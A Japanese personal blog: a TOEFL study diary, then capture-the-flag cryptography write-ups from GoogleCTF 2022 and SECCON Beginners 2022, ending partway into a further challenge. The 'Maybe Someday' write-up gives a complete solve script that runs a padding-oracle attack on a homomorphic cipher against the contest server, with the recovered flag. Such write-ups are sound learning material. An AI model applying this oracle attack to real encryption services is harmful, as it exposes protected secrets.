2023-06-25

TOEFL受けました

もう何年振りのブログ更新だろうか。もはや誰もこれを読む人なんていないだろうから、自分の備忘録用につらつら記録を残しておく。

話の発端

２０２２年５月あたりに上司から「英会話の福利厚生あるよ」という情報を入手。なんでそんな話になったのかは全く覚えてない。

最初のレッスンはいい意味で忘れもしない。超緊張してたが、相手のフィリピン人の先生も割と中級者ぽくて、意外とコミュニケーション取れるじゃんやったという嬉しみと、全然適切な英単語出てこないやばいという危機感を同時に覚える。

それから各日でレッスン取ってたが、やはり単語力やべえという結論に至り、１０年前の大学受験で使った「英単語熟語鉄壁」を本棚から引っ張り出して勉強開始。上京の際にこれ持ってきた過去の自分グッジョブである。

それから単語を覚えるたびに英会話での表現幅がみるみる広がっていくのを実感。そして何より「人と喋るの楽しいやん」という感情も膨らんでいった。数年前の自分からしてみれば絶対に信じられない大進歩である。

合わせてTEDのディクテーションもレッスン無い日に１時間くらいちまちまやり始めたが、これも自分の表現幅がかなり広がるのをレッスン毎に感じて非常に面白い。レッスン中にTEDでやった表現が口から無意識に出てくるのが、多重人格の人の気分みたいで不思議な感覚になる。

年を跨いで２０２３年。だいぶレッスンでの意思疎通が抵抗無くなってきたこともあり、折角なのでふと思い立って新年の抱負にTOEFLiBT受験を心に決めた。TOEICや英検じゃないのは海外知名度が低いことと、学部の英語クラスでアメリカ人講師がTOEICを超絶ディスってたから。ということでTOEFLかIELTSの２択になるのだが、やはりこの学部時代のアメリカ人講師がTOEFL激推ししてたのでTOEFLに決めた。６月末受験でスコア１００点越えを目標に設定。

それから６ヶ月間、毎日仕事終わりに２〜３時間会社に居残って勉強を続けた結果：

Reading: 30/30

Listening: 27/30

Speaking: 22/30

Writing: 25/30

を達成しました。合計１０４点で目標は超えた！が、もうちょい行って欲しかったなあ。

TOEFL勉強期間何したか

0. TOEFL宣言以前からの毎日ルーティン

TEDのシャドイングは４月くらいまではTOEFL勉強と並行しつつずっとやってました。最初は「TED　シャドイング　時間　短い」とかで検索して出てきた５分くらいのやつをやってましたが、それ以降はLinkedInでTEDをフォローすると定期的にlegendaryなTEDTalkがポストされるので、それをピックアップしてました。（このテクニックはフィリピン人の先生から習いました。感謝）

あとは毎朝ELSAという発音矯正アプリを１５分やって、朝ごはん食べながらBritishCouncilが出してるLearnEnglishというポッドキャストのアプリを聞いてました。１枠５、６分だし内容理解テストもついてるのでおすすめ。

1. 単語

鉄壁を覚えて大成功した経験則を踏まえて単語が最優先なのは自明だったため、「TOEFLテスト英単語３８００」をメルカリで購入。巷では大絶賛されてて確かにここに出てくる単語は本番でも頻出な印象なので、これやっとけば間違いない。

ただしこの本の弱点として、名詞には例文がついてない、単語のニュアンス的な深いところは全然触れてない、という問題点がある。鉄壁はこの辺しっかり抑えてて、こういうところ意識しておくとスピーキングで使えるようになることを学んでいたので、最初の一週目はとにかく例文をほぼ全ての単語に追記してニュアンスも付記しておいた。この作業は単語をググってそこに書いてあった例文を書き写した。めちゃ時間かかるので時間に余裕のある人にしかこの方法はお勧めできない。もっとコスパいい方法ありそうだが、単に自分はこの方法が一番マッチしましたというだけの話である。

ただし二週目以降はグッと楽になる。覚える時間も指数関数的に減少するので、最初だけじっくり味わいつくすのが味噌。

本番直前までずっとやってました。結局３周してフィニッシュ。

2. 公式問題集

やはりテスト形式抑えとくのは重要でしょうということで公式問題集を購入。色々他に教材調べたけども結局これが問題の質的に一番いいらしい。

受験者にはよく知られた話だが、TOEFLはReading/Listening/Speaking/Writingの４技能全部問われるが実際のところ独立ではなく、Speaking/Writingでは一部講義や会話の音声が流れてそれをそれを要約しなさいという問題が出るため、リスニングできないは即ち死を意味する。

ということで仕事終わりに毎日リーディングとリスニングメインで１日それぞれ１題ずつ解いて感覚を身につけた。スピーキングは元気のある日や休日にはちょびっとやってみたが、この時期（１〜２月くらいだった？）は全く歯が立たず。あわあわのあわで絶望感しか産まなかったため一旦放置。ライティング？そんなんやってる暇はない（ほんとにやる余裕なかった、リスニングの方が絶対やばい）。

3. TOEFL Practice Online

TOEFL主催してる団体であるETSが公式に出してる過去問キット。過去に本番で出た問題をまとめて１セット５０００円くらいで販売してる。本番と受験の流れがまんま同じ＆採点もしてくれて結構信憑性高いとのことなので、３セットまとめて購入して２、４、5月にやることにした。

２月末になったので早速やってみたが、この時のスコアが

Reading: 30/30

Listening: 21/30

Speaking: 23/30

Writing: 25/30

でトータル９９点。あれ、これ行けるんとちゃうか？想像以上に点が取れてびっくり。

Readingは大学受験で相当鍛えられてたおかげか全く問題なさそう。

Listeningは死。これはやばい。

Speakingはもう論理破綻してるんじゃないかというレベルにも関わらずひたすら喋り続けたのが功を奏したらしい。この模試は機械採点なので内容まで把握してない可能性が高いが、沈黙しないのはかなり高ポイントのようである。

Writingはこの時点で全く対策してなかったが、これは期待が持てる。確かにネットでググっても文法や論理が壊滅してなければ２５は取れるという話を見かけたので確かにほんまやと納得。

4. 中国TPO

公式問題集を一応終わらせたので追加の勉強法を色々探してたら、中国のサイトでTOEFLの問題を無限に練習できるという情報を発見。これ：

https://toefl.kmf.com/n/home

なんか日本からのアクセス制限かからないようにgoogle addon入れないといけなかった気がする。

Readingは十分大丈夫だということが模試で判明したので、３月４月はひたすらリスニング問題を解きまくる。

問題傾向としては細かい日付や人名は一切聞かれることがなく、むしろ要旨や話の流れ分かってますか的な問題しか出ないので、ひたすらエスパー力を鍛えたと言っても過言ではないかもしれない。

最初はほんまにこれでいいんかという気持ちになっていたが、不思議なことに段々話についていけるようになってきたため、４月からは講義形式の問題はすべて1.2倍速で解いた。会話形式の問題は講義形式よりもスピードが速い？ため、これだけは等倍速で練習。

解いた後はシャドイングしてたので、自分の場合１日１時間で２〜３問解くのが限界だった。

5. TOEFL Practice Online ２回目

４月になったので再挑戦。結果は以下の通り：

Reading: 29/30

Listening: 30/30

Speaking: 23/30

Writing: 25/30

かなりいいスコア出てるが実は結構嬉しくない。というのも、なんとリスニングの問題はすでに以前中国TPOで見かけたものだったのである。そりゃ満点出て当たり前だ、まさかこんなことになろうとは思いもせず。３回分も練習キット買ったの無駄だった。。。そしてSpeakingとWritingが全く伸びてない。初回テストの結果がまぐれでないのが確認できたのは良かったが、Writingは結構よく書けてる気がしただけに残念。しかしこの時点ではまだWritingに型があって、ちゃんとそれに従わないといけないという事実を知らなかったのである。これに気がつくのは本番２週間前になる。

6. Speaking

５月から本格的に対策開始。ここからは１日あたりListening２問とSpeaking２問を毎日やってた。

最初の解答は確実に爆死するのだが、なんとかメンタル崩壊する前に即座にテイク２、テイク３と撮り直す。テイク５あたりで言いたいことを時間内に全て言い切れる、それなりに満足いく解答が完成するので、そしたら次の問題に進む形で対策してた。

なお全く解答完成する気配がないこともあり、その場合は試しに日本語で解答してみるのだが、大抵日本語でも爆死する。解答ネタを仕入れとくこともそれなりに重要そうである。

１ヶ月くらいやってると似た問題がたまーに出てくることがあり、この辺りで練習どれだけしたかが大事なことを確信。最近YouTubeで話題の一ノ瀬先生も「とにかく練習しろ」「私でも１日１０題は練習する」と話されていたので、やはり王道なしのようである。しかし１日１０題は凄すぎる。どうやっても１日２題が限界でした。

なお本試１週間前とかに色々調べ直してて気をつけるように直したこととして、必要事項は時間内に必ず言及し切るようにしました。よく言い回しで悩んで最後まで言い切れなかったーというケースが頻発してましたが、冷静に考えてみればそれってかなり得点源を落としてるなと思い直すなど。

7. TOEFL Practice Online ３回目

5月末はちょっと予定が入ったため６月頭にずらして最後の模試。結果は以下の通り：

Reading: 28/30

Listening: 30/30

Speaking: 26/30

Writing: 25/30

お察しの通り、再び中国TPOでみた問題が登場。そして今回はリスニングとスピーキングの両方である。もう全くスコアが信用できない。しかし普段のSpeaking練習で自己満した解答が大体26点というのを知れたのはでかい。これが現状出せる最大の実力みたい。やはり日本人にとってスピーキングが鬼門なのは間違いない。

8. Writing対策

いよいよWriting対策に乗り出した。とはいえこれは本当に時間と労力を食うので、土日に２題ずつ解くのが限界だった。そしてここに来てWritingが何であるかを全く分かってないことに気付かされる。

今までの模試でスコアが25点から全く変動しないことからして、何か致命的に足りてないのは明らかだった。基本的にはネットで情報調べつつChatGPTに解答あげてどこがダメなのか聞く形で対策を進めたのだが、以下の発見があった：

エッセイはintroduction, body1, body2, body3, conclusionの４段構成が基本（これは知ってた）。
イントロはただ”I agree with ~”で始めるのはだめ。最初に”controversial”とか”Some people will argue that”とかで一般論のクッションを述べるのが吉。
各bodyの最初には「トピックセンテンス」と呼ばれる、その段落の要約を読み手の興味を惹く形で簡潔に述べる必要あり。
Body内部には意見をサポートする具体的事実だったり個人的な体験を入れるのが必須。ただし客観的事実を具体的数字込みで書き上げると丸暗記と思われるのでそれだけは避ける。
各bodyの終わりには「それゆえ私はこう思います」的なfall backがあるのが望ましい。
各bodyは独立してるよりも、話の展開がスムーズにつながっているのが望ましく、それゆえ適切な接続詞を入れてやるのが大事。
Conclusionには今まで述べてきたことを各段落１行でまとめる気持ちで要約すれば良い、つまり新しいことをここに書く必要なし。
文法ミスはちゃっかり減点対象。ちょびっとならセーフだが、毎度特定箇所でやらかしてるのはアウトで、まず間違いなく単数複数および時制はやらかすので、見直し必須。

この形式にちゃんと従うこと、特にトピックセンテンスをバシッと決めることは超重要らしい。確かに抽象から具体への流れに沿ってるし、これ直してChatGPTに食わせたら評価上がるので間違いないと思われる。

ただしそこそこの頻度でChatGPTは頓珍漢なこと言ってくるので、意外とまだ頼れないなという印象。

上記ルールに気を付けて解答作成→Grammaryで大量に出てくる文法エラーを修正→ChatGPTに食わせてみる→信用できそうな指摘は修正に取り込んでみる

という形で練習してました。

ちなみに他の英作文本では「とにかく主語を私あなたでなく動詞を名詞化して文頭に持ってきて無生物主語構文使え」という指摘してるものを見かけて、確かにそっちの方がプロフェッショナルな印象あって取り込みたかったけれども、トピックセンテンス錬成するのが苦手すぎて、無生物主語構文練習する余裕はありませんでした。アーメン。

しかしやはり最終的には人間に添削してもらうしかないように思われる。これ一人でやってくのは辛いなというのが最終的な結論です。

前日

まず前日以前の話ですが、ホワイトボードとマーカー必須です。クリアファイルに白い紙挟武野もOKとなってますが、自分の場合クリアファイルが浮いて文字が影と相まって二重になってかなり使いにくかった。ホワイトボードはダイソーのA4サイズのを使いました。マーカーは「バタフライボードマーカー」という激細ペンを絶対に買いましょう。900円くらいして高いですが、ケチって１００均のマーカー使うと文字は太くて潰れるしA4サイズには収まらなくなるのでいいこと何もないです。

買ったらちゃんとこれ使ってリスニング、スピーキング、ライティングの練習しましょうね。

というわけで前日の話。他の受験ブログ等を見ると「本番１週間前は７時間勉強してました！」とかいう記述見てヒエえになっていたんですが、結局私はいつも通りの勉強ルーティンをして本番に臨みました。直前ブーストかけれる人ほんますごいと思うねん。

前日注意事項としては公式の手引きをとにかく参照すればいいのですが、とりわけGurdian Browserとかいう専用ブラウザをインストールしてシステムチェックしないといけないこと？自分のケースだとRAM容量足りませんというのが頻繁に出て困ってましたが、Chrome以外全てのアプリケーションを落としたらなんとか大丈夫でした。あとこのチェックは前日にやった方がいいです。私の場合本番１ヶ月前に一度やったので安心してたら、当日やり直すとブラウザのバージョンアップデートが始まってちょっと焦った。

本番

いよいよ。ETSから受験用メールが前日に飛んでくるので、そこにあるリンクをクリック。１０分前には入っておきましょう。

試験官とのやり取り用チャットアプリをダウンロードさせられて、あと画面録画用にシステム設定いじる必要もあります。この辺はしっかり公式の手引きを読んでおきましょう、というかそれ読みながら作業しないと無理ではというくらい若干手間がかかります。

そしたら試験官と音声でやり取り開始。おそらくこの試験官フィリピン人な気がする、アクセントが英会話レッスンのとある先生とほぼ同じだった。人によってはインド人ぽかったという話もあるので、人だったり時間帯だったりに依るのかもしれません。

なおここでコンタクトを取っておくのがおすすめ。「部屋散らかっててごめん〜」とか「ホワイトボード消すのティッシュでもいい？」とか「目が悪くて画面に顔近づけないと見えないんだけど許してくれる？」等、不安要素および試験中に下手に指摘が入らないように釘を打っておきましょう。あとこれがスピーキングの最後の練習にできるというおまけもある。（自分はこれが一番大きかった、むしろこれ狙ってたまである）

録画に同意しますの宣誓を録音させられたら、いよいよスタート。なお問題文を読み上げるのは禁止らしいです。問題入る前の注意事項読み上げてたら喋っちゃダメですって直接音声で注意されましたw

試験詳細を話すのは禁止なのですが、割と運よくキッツイ問題は出ませんでした。speakingやwritingのindependent taskで馴染みのないこと聞かれるのを恐れてましたが、かなり経験あることについてついて解答すればよかったのでラッキー。

ただしリスニングが１個かなりきつかった。知らない単語について延々と追加説明がされるので、説明内容からなんの話してるか逆算しないといけない、かなり危険な戦いを強いられました。多分落とした３点のうち２点くらいここなんじゃないかという気がする。まあしゃあない。

あと最後に当日知って危なかったこととして、リスニング終わった後の１０分間休憩はテキスト見るの禁止なんですね。休憩時間は公式問題集見てスピーキングのindependentの練習しようかなと思ってたので、試験前の注意事項ちゃんと音読しといてよかった（？）

結果ちゃんとリスニングのスコア上がってて感激でした。練習ほぼ1.2倍速でやってたおかげで、本番の音声が遅い、遅すぎる！になってました。物語後半で主人公がハンデを解放するやつみたい。

反省

６ヶ月の準備期間とったのは大正解だったかも知れない。後々調べてて記事を見つけたが、一般に１００点から５点上げるのに半年かかるらしく、皮肉にも初回の模試で９９点取ったのとピッタリ整合する。しかしキリが悪い！スピーキングなんで２３点じゃないんや。。。

そしてこれも点数開示後に知ったが、

スピーキングはベラベラと話し続けるよりは、短文で切って文脈を追いやすくする方が点が出やすいらしい。
ライティングは２５点取れてる時点で構成は十分らしい。そこからの伸び代は如何にこなれた表現を使いこなしていくかが勝負らしく、最後まで構成にこだわった自分の作戦は間違いなのであった。悲しい。。。

とりあえず目標は達成したんで良しとします。TOEFL形式来月から変わるらしいし、結構精神的負担もでかい、あと英語はあくまで手段ということで、これにてTOEFLは卒業です！スコア有効期限２年間らしいからな、それまでに次のアクションを取らねば。

おまけ

勉強してて一番伸びを感じたのが、５月あたりから急に言葉に詰まる現象が激減したこと。こういう会話で詰まる系の解消はもっと徐々にゆっくり無くなるものと思っていたので、急に改善した自分に今もびっくりしてる。これだから奥が深いですわ、英語学習は。

2022-07-10

GoogleCTF 2022

CTF

むずすぎてぴえん。cryptoしか見てないけど全然手が出なかった。。。

復習が捗りますな。とりあえず手を出した

Cycling
Maybe Someday

の２つについて解説をまとめることを目標にする。記事は不定期で逐次アップデートしながら書いていく予定。

Update

googleCTFは公式解説出るんですね。ただしソースコードのみなので、頑張って読み解かないといけない。。

github.com

Cycling

e = 65537
n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1
ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680
# Decryption via cycling:
pt = ct
for _ in range(2**1025 - 3):
    pt = pow(pt, e, n)
# Assert decryption worked:
assert ct == pow(pt, e, n)

# Print flag:
print(pt.to_bytes((pt.bit_length() + 7)//8, 'big').decode())

要約

pow(ct, e^{2¹⁰²⁵ - 3}, n)を求めよ。

解法

完璧なwriteupが出てた。もうこれ見れば十分では。

ur4ndom.dev

要約すると、[tex:R = 2¹⁰²⁵ - 3]として

pow(ct, e^R+1, n)=ctが成立。
これよりe^R+1 | φ(n)であるが、λ(n)をカーマイケル数としてe^R+1 = λ(n) = lcm(p-1, q-1) = lcm(2s1s2...sk)なのではと予想。
これよりR+1 | λ(λ(n)) だが、ここもR+1 = λ(2s1...*sk)=lcm(s1-1,...,sk-1)と予想。
ここから{s1,...,sk}が求まるので、そこからλ(n)が復元できて、これをφ(n)の代理として後はいつものRSAデコードしておしまい。

（工事中）

コード

出力

Maybe Someday

from Crypto.Util.number import getPrime as get_prime
import math
import random
import os
import hashlib

# Suppose gcd(p, q) = 1. Find x such that
#   1. 0 <= x < p * q, and
#   2. x = a (mod p), and
#   3. x = b (mod q).
def crt(a, b, p, q):
    return (a*pow(q, -1, p)*q + b*pow(p, -1, q)*p) % (p*q)

def L(x, n):
    return (x-1) // n

class Paillier:
    def __init__(self):
        p = get_prime(1024)
        q = get_prime(1024)

        n = p * q
        λ = (p-1) * (q-1) // math.gcd(p-1, q-1) # lcm(p-1, q-1)
        g = random.randint(0, n-1)
        µ = pow(L(pow(g, λ, n**2), n), -1, n)

        self.n = n
        self.λ = λ
        self.g = g
        self.µ = µ

        self.p = p
        self.q = q

    # https://www.rfc-editor.org/rfc/rfc3447#section-7.2.1
    def pad(self, m):
        padding_size = 2048//8 - 3 - len(m)
        
        if padding_size < 8:
            raise Exception('message too long')

        random_padding = b'\0' * padding_size
        while b'\0' in random_padding:
            random_padding = os.urandom(padding_size)

        return b'\x00\x02' + random_padding + b'\x00' + m

    def unpad(self, m):
        if m[:2] != b'\x00\x02':
            raise Exception('decryption error')

        random_padding, m = m[2:].split(b'\x00', 1)

        if len(random_padding) < 8:
            raise Exception('decryption error')

        return m

    def public_key(self):
        return (self.n, self.g)

    def secret_key(self):
        return (self.λ, self.µ)

    def encrypt(self, m):
        g = self.g
        n = self.n

        m = self.pad(m)
        m = int.from_bytes(m, 'big')

        r = random.randint(0, n-1)
        c = pow(g, m, n**2) * pow(r, n, n**2) % n**2

        return c

    def decrypt(self, c):
        λ = self.λ
        µ = self.µ
        n = self.n

        m = L(pow(c, λ, n**2), n) * µ % n
        m = m.to_bytes(2048//8, 'big')

        return self.unpad(m)

    def fast_decrypt(self, c):
        λ = self.λ
        µ = self.µ
        n = self.n
        p = self.p
        q = self.q

        rp = pow(c, λ, p**2)
        rq = pow(c, λ, q**2)
        r = crt(rp, rq, p**2, q**2)
        m = L(r, n) * µ % n
        m = m.to_bytes(2048//8, 'big')

        return self.unpad(m)

def challenge(p):
    secret = os.urandom(2)
    secret = hashlib.sha512(secret).hexdigest().encode()

    c0 = p.encrypt(secret)
    print(f'{c0 = }')

    # # The secret has 16 bits of entropy.
    # # Hence 16 oracle calls should be sufficient, isn't it?
    # for _ in range(16):
    #     c = int(input())
    #     try:
    #         p.decrypt(c)
    #         print('😀')
    #     except:
    #         print('😡')

    # I decided to make it non-interactive to make this harder.
    # Good news: I'll give you 25% more oracle calls to compensate, anyways.
    cs = [int(input()) for _ in range(20)]
    for c in cs:
        try:
            p.fast_decrypt(c)
            print('😀')
        except:
            print('😡')

    guess = input().encode()

    if guess != secret: raise Exception('incorrect guess!')

def main():
    with open('/flag.txt', 'r') as f:
      flag = f.read()

    p = Paillier()
    n, g = p.public_key()
    print(f'{n = }')
    print(f'{g = }')

    try:
        # Once is happenstance. Twice is coincidence...
        # Sixteen times is a recovery of the pseudorandom number generator.
        for _ in range(16):
            challenge(p)
            print('💡')
        print(f'🏁 {flag}')
    except:
        print('👋')

if __name__ == '__main__':
    main()

要約

２バイト乱数をsha512でハッシュ化した文字列をPaillier暗号で暗号化した結果を渡される。この時20回任意の暗号文を一度に与えて、それらが復号成功したかのオラクルを得られるので、そこから平文を当てよ。これを16回連続で成功したらフラグ獲得。

解法

Pailler暗号初めて知ったけど加法準同型暗号なんですね、平文の足し算がgの指数に乗ることで暗号文の積になって保たれるのが本質だが、encrypt時にかける乱数rをdecrypt時に削除するのに|(Z/p² Z)*| = p(p-1)なのをうまく利用していて、もうこの理屈がわかった時点で満腹感がw

となると明らかに加法準同型性は使うんだろう。あとオラクルから得られる情報として、復号が失敗するのは平文のパディングが想定通りになっているか、つまり

padded_secret = [\x00, \x02, (乱数の125文字), \x00, (secretの128文字)]

の形になっているか、より具体的には

復号結果の先頭２文字は\x00\x02の形になっているか
そこから8文字以降後に\x00が少なくとも１つ存在するか

がチェックできる。

ここから思いつく案として、

m(x) := [0] * 128 + [x] + [0] * 127    (0<=x<256)
c(x) := enc(m(x))

として、c0 * c(x)をdecryptさせれば

dec(c0 * c(x)) = m0 + m(x) = [0, 2, (乱数の125文字), ?, x+secret[0], secret[1], ...]

となり、x+secret[0] == 256になった瞬間に桁上がりで? = \x01となるからdecryptは失敗する。これでsecret[0]が割れるから、以下同様にsecret[1], secret[2], ...と順に求まるという作戦は立つ。

しかしoriginal_plain[0]を割る時点でこれだと256回の試行、また8bit毎に分けて考えたとしても32回の試行が必要で、平文が２バイトなことを加味しても、20回しかヒントをもらえない状況だと無理すぎる（本番はここで詰んだ）。

後でふるつき先生のwriteupを覗いて、見落としてたのは以下の１文だと判明した。

secret = hashlib.sha512(secret).hexdigest().encode()

なんとhexdigestしてからencodeしているではないか。ということはsecretに出てくる数字はb'0'~b'9'（48~57）とb'a'~b'f'（97~102）の16通りしかないことになる。

んでどうすんねんという話になるが、結論から言うと「先頭から0, 2, 4, ..., 20文字目にxが少なくとも１つ存在するか」（x = b'0', ..., b'9', b'a', ..., b'f'、つまり48<=x<=57, 97<=x<=102）を判定すれば良い。これは上述のオラクルを利用して

m(x) = [0] * 127 + [1] + [256-x, 0] * 10 + [0] * 108

に対応する暗号文をc0にかけてdecryptさせれば良い。0, 2, 4,...と飛び飛びにしているのは繰り上がりの影響をなくすためである。もし元の平文にxが存在すれば、secret + m(x)は後ろ128byteのどこかに\x00が現れるのでdecrypt成功するし、存在しなければ\x00がどこにも現れないためdecrypt失敗となる。

さて、これで本当に平文が一意に特定可能か心配なので、少し実験してみよう。この手法でsecretの上位20byteの偶数番目に出てくる文字の種類がわかるが、そこから一意に求まる平文がどの程度あるのか数えてみる。

plains = [None] * (1 << 16)  # 平文は２バイトなので全部で256*256=65536通り
for i in tqdm(range(1<<16)):
    bi = int("0x{:04x}".format(i), 16)
    bi = long_to_bytes(bi)
    plains[i] = hashlib.sha512(bi).hexdigest().encode()  # 実際に暗号化する平文はsha512を通した後の文字列

descriptor = defaultdict(int)  # descriptor[(平文の上位0,2,...,20文字目に現れる文字種)] = (そんな平文が何種類あるか)
for p in plains:
    desc1 = set([p[i] for i in range(0, 20, 2)])
    desc1 = tuple(sorted(list(desc1)))
    descriptor[desc1] += 1

success = fail = 0
for key, val in descriptor.items():
    if val == 1:
        success += 1
    else:
        fail += 1
        
print(f"unique percentage = {success * 100 / (success + fail)}%")

# unique percentage = 48.15130830489192%

え。。。ダメじゃん。。。確率48%を16回も繰り返して全成功は流石に厳しすぎる。もう少し条件を絞らないといけなそうだ。

ここで、上記の判定はxの16通りしか使っていない。一方得られるオラクルは20回なので、残り４回で何か追加条件を作ろう。

「先頭から1, 3, 5, ..., 21文字目にxが少なくとも１つ存在するか」（x = b'a', ..., b'd'、つまり97<=x<=100）

というのはどうだろうか？これに対応する平文は

m(x) = [0] * 127 + [1] + [0, 256-x] * 10 + [0] * 108

である。この追加条件を加えて平文が一意に決まる確率がどこまで上がるか再度実験してみる。

descriptor = defaultdict(int)  # descriptor[(平文の上位0,2,...,20文字目に現れる文字種＋上位1,3,...,21文字目に'a'~'d'のどれが出てくる)] = (そんな平文が何種類あるか)
for p in plains:
    desc1 = set([p[i] for i in range(0, 20, 2)])
    desc1 = tuple(sorted(list(desc1)))
    
    desc2 = set()
    for i in range(1, 21, 2):
        if 97 <= p[i] <= 100:
            desc2.add(p[i])
    desc2 = tuple(sorted(list(desc2)))
    
    descriptor[desc1 + desc2] += 1

success = fail = 0
for key, val in descriptor.items():
    if val == 1:
        success += 1
    else:
        fail += 1
        
print(f"unique percentage = {success * 100 / (success + fail)}%")

# unique percentage = 94.97607655502392%

こんな上がるんか！これなら16回連続成功確率は(95/100)¹⁶ = 0.44、なかなかいい勝負である。少なくとも十数回トライすればフラグ取れるでしょう。行ったれ！

コード

from collections import defaultdict
from tqdm import tqdm
from Crypto.Util.number import long_to_bytes
from pwn import *

# preprocess: collect secret candidates
plains = [None] * (1 << 16)
for i in tqdm(range(1<<16)):
    bi = int("0x{:04x}".format(i), 16)
    bi = long_to_bytes(bi)
    plains[i] = hashlib.sha512(bi).hexdigest().encode()
    
# preprocess: collect descriptors of secrets
descriptor = defaultdict(set)  # descriptor[(平文の上位0,2,...,20文字目に現れる文字種＋上位1,3,...,21文字目に'a'~'d'のどれが出てくる)] = (そんな平文たち)
for p in plains:
    desc1 = set([p[i] for i in range(0, 20, 2)])  # 平文の上位0,2,...,20文字目に現れる文字種
    desc1 = tuple(sorted(list(desc1)))
    
    desc2 = set()  # 上位1,3,...,21文字目に'a'~'d'のどれが出てくるか
    for i in range(1, 21, 2):
        if 97 <= p[i] <= 100:
            desc2.add(p[i])
    desc2 = tuple(sorted(list(desc2)))
    
    descriptor[desc1 + desc2].add(p)

# connect to the server
HOST = "maybe-someday.2022.ctfcompetition.com"
PORT = 1337
io = remote(HOST, PORT)
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"g = ")
g = int(io.recvline())

def solve_oneround():
    io.recvuntil(b"c0 = ")
    c0 = int(io.recvline())

    # create 20 exploits
    cs = []
    for x in range(48, 58):  # 0~9それぞれが[0,2,4,..., 20]文字目にあるか
        m = b"\x00" * 127 + b"\x01" + (long_to_bytes(256 - x) + b"\x00") * 10 + b"\x00" * 108
        m = int.from_bytes(m, 'big')
        c = pow(g, m, n**2)
        c = c0 * c % n**2
        cs.append(c)

    for x in range(97, 103):  # a~fそれぞれが[0,2,4,..., 20]文字目にあるか
        m = b"\x00" * 127 + b"\x01" + (long_to_bytes(256 - x) + b"\x00") * 10 + b"\x00" * 108
        m = int.from_bytes(m, 'big')
        c = pow(g, m, n**2)
        c = c0 * c % n**2
        cs.append(c)

    for x in range(97, 101):  # a~dそれぞれが[1, 3, 5, ..., 21]文字目にあるか
        m = b"\x00" * 127 + b"\x01" + (b"\x00" + long_to_bytes(256 - x)) * 10 + b"\x00" * 108
        m = int.from_bytes(m, 'big')
        c = pow(g, m, n**2)
        c = c0 * c % n**2
        cs.append(c)

    # send 20 exploits
    for c in cs:
        c = str(c).encode()
        io.sendline(c)

    # get 20 results
    results = []
    for _ in range(20):
        ret = io.recvline().decode().rstrip()
        results.append(ret == '😀')

    # aggregate information
    appeared = []
    for i, ret in enumerate(results[:10]):
        if ret:
            appeared.append(48 + i)
    for i, ret in enumerate(results[10:16]):
        if ret:
            appeared.append(97 + i)
    for i, ret in enumerate(results[16:20]):
        if ret:
            appeared.append(97 + i)

    # crack
    appeared = tuple(appeared)
    cand = descriptor[appeared].pop()
    io.sendline(cand)
    reply = io.recvline().decode().rstrip()
    return reply

succeeded = True
for cnt in range(16):
    reply = solve_oneround()
    print(cnt, reply)
    succeeded &= (reply == '💡')
    if not succeeded: break
if succeeded:
    print(io.recv().decode().rstrip())

出力

100%|██████████| 65536/65536 [00:00<00:00, 160714.14it/s]
[x] Opening connection to maybe-someday.2022.ctfcompetition.com on port 1337
[x] Opening connection to maybe-someday.2022.ctfcompetition.com on port 1337: Trying 34.78.83.159
[+] Opening connection to maybe-someday.2022.ctfcompetition.com on port 1337: Done
0 💡
1 💡
2 💡
3 💡
4 💡
5 💡
6 💡
7 💡
8 💡
9 💡
10 💡
11 💡
12 💡
13 💡
14 💡
15 💡
🏁 CTF{p4dd1n9_or4cl3_w1th_h0mom0rph1c_pr0p3r7y_c0m6in3d_in7o_a_w31rd_m47h_puzz1e}

感想

先頭20文字を見て判別するアイデア、どうやって出すんだろうか。こんな不確定性のある問題は初めてで、その場合の発想の引き出し方がまだ全然訓練できてない。。

2022-06-11

SECCON Beginners 2022

CTF

３度目のCTF出場。pwnの勉強を始めたのでcrypto+pwnを狙ったものの、cryptoは2/5でpwnは1/5なので惨敗。特にcryptoがあかん、一番簡単な問題が解けんとはどゆこと・・・？

１週間後にwriteup書いているが、サーバーの問題がなぜか見れなくなっているので、解けなくて手元に問題が残ってたものだけwriteup書きます。

Coughing Fox

from random import shuffle

flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"

cipher = []

for i in range(len(flag)):
    f = flag[i]
    c = (f + i)**2 + i
    cipher.append(c)

shuffle(cipher)
print("cipher =", cipher)

# cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

要約

flagの各文字を出現indexを使って変換した後シャッフルしてる。元のflagを求めよ。

解法

cipherの各文字ごとに、i=0...len(cipher)を総なめしてc-iが平方数になるものを探せばflagの各文字が復元できる。このときindexも復元できてるのに本番では完全に捨ててました。懺悔。

コード

plain = [None] * len(cipher)
for c in cipher:
    for i in range(len(cipher)):
        if c < i: continue
        p = int((c - i) ** 0.5) - i
        if (p+i)**2+i != c: continue
        plain[i] = chr(p)
''.join(plain)

出力

'ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}'

Unpredictable

import random
import os


